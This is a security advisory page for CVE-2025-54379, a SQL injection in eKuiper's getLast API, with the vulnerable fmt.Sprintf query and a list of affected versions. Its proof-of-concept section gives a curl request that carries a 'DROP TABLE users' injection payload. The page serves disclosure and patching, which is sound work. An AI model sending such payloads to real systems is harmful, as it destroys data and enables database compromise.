CVE-2025-54379: eKuiper API endpoints handling SQL queries with user-controlled table names.
Summary A critical SQL Injection vulnerability exists in the getLast API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.
Published Jul 24, 2025 · Updated Jul 29, 2025
Affected packages
github.com/lf-edge/ekuiper/v2
- Ecosystem
- Go
- Affected
- < 2.2.1
- Fixed in
- 2.2.1
- Check
go list -m github.com/lf-edge/ekuiper/v2
github.com/lf-edge/ekuiper
- Ecosystem
- Go
- Affected
- <= 1.14.7
- Fixed in
- No patched version yet
- Check
go list -m github.com/lf-edge/ekuiper
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A critical SQL Injection vulnerability exists in the getLast API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.
Details
The root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using fmt.Sprintf, without validating the table parameter. Specifically, in:
query := fmt.Sprintf("SELECT * FROM %s ORDER BY rowid DESC LIMIT 1", table)Any value passed as the table parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.
PoC
- Deploy eKuiper instance (default config is sufficient).
- Send a crafted request to the SQL query endpoint:
curl -X POST http://localhost:9081/sql-query \
-H "Content-Type: application/json" \
-d '{
"table": "sensors; DROP TABLE users; --",
"operation": "getLast"
}'- Effect: Executes two SQL queries — the first selects data, the second drops the
userstable. - Verify Result:
sqlite3 etc/kuiper/data/kuiper.db ".tables"Impact
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Refferences
- https://github.com/lf-edge/ekuiper/commit/72c4918744934deebf04e324ae66933ec089ebd3
Credited to odaysec.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2025-24978
LF Edge eKuiper: Self-XSS in External Service Creation
low3.7Sep 9, 2026CVE-2025-24979
LF Edge eKuiper: SSRF in External Service
medium5.5Sep 9, 2026CVE-2025-58363
LF Edge eKuiper: Arbitrary File and Directory Deletion via Path Traversal in Plugin Installation Endpoint
medium5.5Sep 9, 2026GHSA-rj4j-2jph-gg43
LF Edge eKuiper is vulnerable to Arbitrary File Read/Write via unsanitized names and zip extraction
critical9.3Nov 24, 2025GHSA-fv2p-qj5p-wqq4
LF Edge eKuiper vulnerable to File Path Traversal leading to file replacement
high8.5No fixJul 3, 2025GHSA-gj54-gwj9-x2c6
eKuiper /config/uploads API arbitrary file writing may lead to RCE
high7.3No fixJul 3, 2025
